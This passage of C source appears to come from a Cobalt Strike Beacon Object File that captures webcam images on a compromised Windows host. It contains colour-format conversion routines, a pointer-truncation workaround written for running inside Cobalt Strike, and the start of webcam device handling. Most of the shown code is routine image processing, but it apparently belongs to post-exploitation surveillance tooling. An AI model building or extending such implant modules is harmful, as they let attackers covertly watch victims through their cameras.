if (valR < 0) valR = 0;
if (valR > 255) valR = 255;
r = (BYTE)valR;
valG = (298 * c - 100 * d - 208 * e + 128) >> 8;
if (valG < 0) valG = 0;
if (valG > 255) valG = 255;
g = (BYTE)valG;
valB = (298 * c + 516 * d + 128) >> 8;
if (valB < 0) valB = 0;
if (valB > 255) valB = 255;
b = (BYTE)valB;
pDestPel[x + 1].rgbBlue = b;
pDestPel[x + 1].rgbGreen = g;
pDestPel[x + 1].rgbRed = r;
pDestPel[x + 1].rgbReserved = 0;
}
pSrc += lSrcStride;
pDest += lDestStride;
}
}
static void TransformImage_NV12(BYTE* pDst, LONG dstStride, const BYTE* pSrc, LONG srcStride, DWORD dwWidthInPixels, DWORD dwHeightInPixels) {
const BYTE* lpBitsY = pSrc;
const BYTE* lpBitsCb = lpBitsY + (dwHeightInPixels * srcStride);
const BYTE* lpBitsCr = lpBitsCb + 1;
UINT y;
for (y = 0; y < dwHeightInPixels; y += 2) {
const BYTE* lpLineY1 = lpBitsY;
const BYTE* lpLineY2 = lpBitsY + srcStride;
const BYTE* lpLineCr = lpBitsCr;
const BYTE* lpLineCb = lpBitsCb;
BYTE* lpDibLine1 = pDst;
BYTE* lpDibLine2 = pDst + dstStride;
DWORD x;
for (x = 0; x < dwWidthInPixels; x += 2) {
int y0 = (int)lpLineY1[0];
int y1 = (int)lpLineY1[1];
int y2 = (int)lpLineY2[0];
int y3 = (int)lpLineY2[1];
int cb = (int)lpLineCb[0];
int cr = (int)lpLineCr[0];
int c = y0 - 16, d = cb - 128, e = cr - 128;
BYTE r = (BYTE)((298 * c + 409 * e + 128) >> 8);
BYTE g = (BYTE)((298 * c - 100 * d - 208 * e + 128) >> 8);
BYTE b = (BYTE)((298 * c + 516 * d + 128) >> 8);
lpDibLine1[0] = b; lpDibLine1[1] = g; lpDibLine1[2] = r; lpDibLine1[3] = 0;
c = y1 - 16;
r = (BYTE)((298 * c + 409 * e + 128) >> 8);
g = (BYTE)((298 * c - 100 * d - 208 * e + 128) >> 8);
b = (BYTE)((298 * c + 516 * d + 128) >> 8);
lpDibLine1[4] = b; lpDibLine1[5] = g; lpDibLine1[6] = r; lpDibLine1[7] = 0;
c = y2 - 16;
r = (BYTE)((298 * c + 409 * e + 128) >> 8);
g = (BYTE)((298 * c - 100 * d - 208 * e + 128) >> 8);
b = (BYTE)((298 * c + 516 * d + 128) >> 8);
lpDibLine2[0] = b; lpDibLine2[1] = g; lpDibLine2[2] = r; lpDibLine2[3] = 0;
c = y3 - 16;
r = (BYTE)((298 * c + 409 * e + 128) >> 8);
g = (BYTE)((298 * c - 100 * d - 208 * e + 128) >> 8);
b = (BYTE)((298 * c + 516 * d + 128) >> 8);
lpDibLine2[4] = b; lpDibLine2[5] = g; lpDibLine2[6] = r; lpDibLine2[7] = 0;
lpLineY1 += 2; lpLineY2 += 2; lpLineCr += 2; lpLineCb += 2;
lpDibLine1 += 8; lpDibLine2 += 8;
}
pDst += (2 * dstStride);
lpBitsY += (2 * srcStride);
lpBitsCr += srcStride;
lpBitsCb += srcStride;
}
}
static const ConversionFunction s_FormatConversions[] = {
{ s_MFVideoFormat_RGB32, TransformImage_RGB32 },
{ s_MFVideoFormat_RGB24, TransformImage_RGB24 },
{ s_MFVideoFormat_YUY2, TransformImage_YUY2 },
{ s_MFVideoFormat_NV12, TransformImage_NV12 }
};
// Hacky function to fix a truncated pointer assuming it is a 32-bit offset from the module base.
/*
If anyone sees this, you may ask yourself:
What the hell is this function for?
When running this BOF in COFFLoader, all would work well.
[DEBUG] Conversion function: 00007ff49c300061, width: 1920, height: 1080
However, when running in Cobalt Strike,
[+] received output:
[DEBUG] Conversion function: 0000000000000061, width: 1920, height: 1080
for whatever reason, the front bytes of the address get truncated. Why? God knows. Honestly im not even sure
if he knows. Maybe he does. I hope he does.
Anyways, last 4 bytes are clean. Great! I'll just resolve the address of go() and pull the module base from there, then
combine it with the last 4 bytes to get the CORRECT address!
Yes. This worked. Should anyone else ever do this again? I hope not.
Whatever it works.
~ CodeX
*/
IMAGE_TRANSFORM_FN FixTruncatedXform(IMAGE_TRANSFORM_FN truncated)
{
// Use the address of go as our reference for a good high-order part.
uintptr_t goodHigh = ((uintptr_t)go) & 0xFFFFFFFFFFFF0000ull;
uintptr_t low = ((uintptr_t)truncated) & 0xFFFFull;
uintptr_t fixed = goodHigh | low;
// BeaconPrintf(CALLBACK_OUTPUT,
// "\n[DEBUG] FixTruncatedXform: goodHigh = 0x%Ix, low = 0x%Ix, fixed pointer = %p\n",
// goodHigh, low, (void*)fixed);
return (IMAGE_TRANSFORM_FN)fixed;
}
HRESULT CColorConverter_SetConversionFunction(CColorConverter* cc, const GUID* subtype) {
if (!cc || !subtype) {
BeaconPrintf(CALLBACK_OUTPUT, "[ERROR] Null pointer passed to CColorConverter_SetConversionFunction.");
return E_POINTER;
}
cc->m_convertFn = NULL;
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Setting conversion function for subtype: {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}",subtype->Data1, subtype->Data2, subtype->Data3,subtype->Data4[0], subtype->Data4[1], subtype->Data4[2], subtype->Data4[3],subtype->Data4[4], subtype->Data4[5], subtype->Data4[6], subtype->Data4[7]);
DWORD i;
for (i = 0; i < (DWORD)(sizeof(s_FormatConversions) / sizeof(s_FormatConversions[0])); i++) {
// //BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Checking against format: {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}",
// s_FormatConversions[i].subtype.Data1, s_FormatConversions[i].subtype.Data2, s_FormatConversions[i].subtype.Data3,
// s_FormatConversions[i].subtype.Data4[0], s_FormatConversions[i].subtype.Data4[1], s_FormatConversions[i].subtype.Data4[2], s_FormatConversions[i].subtype.Data4[3],
// s_FormatConversions[i].subtype.Data4[4], s_FormatConversions[i].subtype.Data4[5], s_FormatConversions[i].subtype.Data4[6], s_FormatConversions[i].subtype.Data4[7]);
if (IsEqualGUID(&s_FormatConversions[i].subtype, subtype)) {
cc->m_convertFn = s_FormatConversions[i].xform;
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Raw conversion function pointer: %p\n", cc->m_convertFn);
cc->m_convertFn = FixTruncatedXform(cc->m_convertFn);
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Conversion function fixed to: %p\n", cc->m_convertFn);
return S_OK;
}
}
BeaconPrintf(CALLBACK_OUTPUT, "[ERROR] No matching format found for the given subtype.");
return MF_E_INVALIDMEDIATYPE;
}
void CColorConverter_ConvertImageToRGB32(
CColorConverter* cc,
BYTE* pDest,
LONG destStride,
IMFMediaBuffer* buf
)
{
// 1. Validate parameters
if (!cc || !pDest || !buf) {
BeaconPrintf(CALLBACK_OUTPUT, "[ERROR] Invalid parameters: cc=%p, pDest=%p, buf=%p\n", cc, pDest, buf);
return;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Entering CColorConverter_ConvertImageToRGB32\n");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Parameters - cc: %p, pDest: %p, destStride: %d, buf: %p\n", cc, pDest, destStride, buf);
BYTE* pbScanline0 = NULL;
LONG lStride = 0;
// 2. Initialize the VideoBufferLock helper
VideoBufferLock vb;
VideoBufferLock_Init(&vb, buf);
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] VideoBufferLock initialized\n");
// 3. Attempt to lock the buffer
HRESULT hr = VideoBufferLock_LockBuffer(
&vb,
cc->m_lDefaultStride,
cc->m_height,
&pbScanline0,
&lStride
);
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] LockBuffer returned hr: 0x%08X, pbScanline0: %p, lStride: %d\n", hr, pbScanline0, lStride);
// 4. If lock succeeded, and we got a valid pointer, call the conversion function
if (SUCCEEDED(hr) && pbScanline0 != NULL)
{
if (cc->m_convertFn) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Calling conversion function\n");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Conversion function: %p, width: %d, height: %d\n", cc->m_convertFn, cc->m_width, cc->m_height);
// Convert from the webcam’s native format to RGB32
cc->m_convertFn(
pDest,
destStride,
pbScanline0,
lStride,
cc->m_width,
cc->m_height
);
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Image conversion to RGB32 complete\n");
} else {
BeaconPrintf(CALLBACK_OUTPUT, "[ERROR] No conversion function set!\n");
}
} else {
// Locking the buffer failed or returned a NULL pointer
BeaconPrintf(CALLBACK_OUTPUT, "[ERROR] LockBuffer failed: hr=0x%08X, pbScanline0=%p\n", hr, pbScanline0);
}
// 5. Always clean up (unlock) the buffer
VideoBufferLock_Cleanup(&vb);
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] VideoBufferLock cleanup complete, exiting function\n");
}
int CColorConverter_IsFormatSupported(CColorConverter* cc, const GUID* subtype) {
DWORD i;
for (i = 0; i < (DWORD)(sizeof(s_FormatConversions) / sizeof(s_FormatConversions[0])); i++) {
if (IsEqualGUID(&s_FormatConversions[i].subtype, subtype))
return 1;
}
return 0;
}
HRESULT CColorConverter_GetFormat(CColorConverter* cc, DWORD index, GUID* pSubtype) {
if (index < (DWORD)(sizeof(s_FormatConversions) / sizeof(s_FormatConversions[0]))) {
*pSubtype = s_FormatConversions[index].subtype;
return S_OK;
}
return MF_E_NO_MORE_TYPES;
}
HRESULT CColorConverter_GetDefaultStride(CColorConverter* cc, IMFMediaType* pType, LONG* plStride) {
LONG lStride = 0;
HRESULT hr = S_OK;
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] CColorConverter_GetDefaultStride() called");
// Attempt to get the default stride directly
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Retrieving default stride (MF_MT_DEFAULT_STRIDE)");
hr = pType->lpVtbl->GetUINT32(pType, &MF_MT_DEFAULT_STRIDE, (UINT32*)&lStride);
if (FAILED(hr)) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Default stride not set, calculating manually");
GUID subtype = {0};
UINT32 width = 0, height = 0;
// Get video subtype
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Retrieving video subtype (MF_MT_SUBTYPE)");
hr = pType->lpVtbl->GetGUID(pType, &MF_MT_SUBTYPE, &subtype);
if (FAILED(hr)) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to get video subtype (HRESULT: 0x%08X)", hr);
return hr;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Video subtype retrieved successfully");
// Get frame size
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Retrieving frame size (MF_MT_FRAME_SIZE)");
hr = MFGetAttributeSize((IMFAttributes*)pType, &MF_MT_FRAME_SIZE, &width, &height);
if (FAILED(hr)) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to get frame size (HRESULT: 0x%08X)", hr);
return hr;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Frame size retrieved: width=%u, height=%u", width, height);
// Get stride for the given format
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Calculating stride for format");
hr = pMFGetStrideForBitmapInfoHeader(&subtype, width, &lStride);
if (FAILED(hr)) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to get stride for format (HRESULT: 0x%08X)", hr);
return hr;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Calculated stride: %ld", lStride);
// Store the calculated stride in the media type
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Storing calculated stride in media type");
hr = pType->lpVtbl->SetUINT32(pType, &MF_MT_DEFAULT_STRIDE, (UINT32)lStride);
if (FAILED(hr)) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to set default stride (HRESULT: 0x%08X)", hr);
return hr;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Default stride stored successfully");
} else {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Default stride retrieved successfully: %ld", lStride);
}
*plStride = lStride;
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] CColorConverter_GetDefaultStride() completed with HRESULT: 0x%08X", hr);
return hr;
}
HRESULT CColorConverter_SetVideoType(CColorConverter* cc, IMFMediaType* pType)
{
HRESULT hr = S_OK;
GUID subtype = {0};
UINT32 num = 0, den = 0;
UINT32 interlace = 0;
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] CColorConverter_SetVideoType() called");
// Get the video subtype.
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Retrieving video subtype (MF_MT_SUBTYPE)");
hr = pType->lpVtbl->GetGUID(pType, &MF_MT_SUBTYPE, &subtype);
if (FAILED(hr))
{
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Failed to get MF_MT_SUBTYPE (HRESULT: 0x%08X)", hr);
return hr;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Video subtype retrieved successfully");
// Choose a conversion function.
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Setting conversion function for subtype");
hr = CColorConverter_SetConversionFunction(cc, &subtype);
if (FAILED(hr))
{
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Failed to set conversion function (HRESULT: 0x%08X)", hr);
return hr;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Conversion function set successfully");
// Get the frame size.
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Retrieving frame size (MF_MT_FRAME_SIZE)");
hr = MFGetAttributeSize((IMFAttributes*)pType, &MF_MT_FRAME_SIZE, &cc->m_width, &cc->m_height);
if (FAILED(hr))
{
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Failed to get frame size (HRESULT: 0x%08X)", hr);
return hr;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Frame size retrieved: width=%u, height=%u", cc->m_width, cc->m_height);
// Get the interlace mode; default is progressive.
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Retrieving interlace mode (MF_MT_INTERLACE_MODE)");
hr = MFGetAttributeUINT32((IMFAttributes*)pType, &MF_MT_INTERLACE_MODE, &interlace);
if (FAILED(hr))
{
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Failed to get interlace mode (HRESULT: 0x%08X). Defaulting to MFVideoInterlace_Progressive", hr);
cc->m_interlace = MFVideoInterlace_Progressive;
}
else
{
cc->m_interlace = (MFVideoInterlaceMode)interlace;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Interlace mode set to %u", cc->m_interlace);
// Get the default stride.
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Getting default stride");
hr = CColorConverter_GetDefaultStride(cc, pType, &cc->m_lDefaultStride);
if (FAILED(hr))
{
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Failed to get default stride (HRESULT: 0x%08X)", hr);
return hr;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Default stride: %ld", cc->m_lDefaultStride);
// Get the pixel aspect ratio. Default to 1:1 if not available.
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Retrieving pixel aspect ratio (MF_MT_PIXEL_ASPECT_RATIO)");
hr = MFGetAttributeRatio((IMFAttributes*)pType, &MF_MT_PIXEL_ASPECT_RATIO, &num, &den);
if (SUCCEEDED(hr))
{
cc->m_PixelAR.Numerator = num;
cc->m_PixelAR.Denominator = den;
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Pixel aspect ratio retrieved: %u:%u", num, den);
}
else
{
cc->m_PixelAR.Numerator = cc->m_PixelAR.Denominator = 1;
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Failed to get pixel aspect ratio (HRESULT: 0x%08X). Defaulting to 1:1", hr);
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] CColorConverter_SetVideoType() completed with HRESULT: 0x%08X", hr);
return hr;
}
/* WebcamAccess */
typedef struct _ChooseDeviceParam {
IMFActivate** ppDevices;
UINT32 count;
UINT32 selection;
} ChooseDeviceParam;
typedef struct _CWebcamAccess {
ChooseDeviceParam m_cam_devices;
IMFSourceReader* m_pReader;
CColorConverter m_color_converter;
BOOL m_ready;
} CWebcamAccess;
void CWebcamAccess_Init(CWebcamAccess* wa) {
ZeroMemory(&wa->m_cam_devices, sizeof(wa->m_cam_devices));
wa->m_pReader = NULL;
CColorConverter_Init(&wa->m_color_converter);
wa->m_ready = FALSE;
}
void CWebcamAccess_CloseDevice(CWebcamAccess* wa) {
if (wa->m_pReader)
SAFE_RELEASE(wa->m_pReader);
wa->m_ready = FALSE;
}
void CWebcamAccess_Destroy(CWebcamAccess* wa) {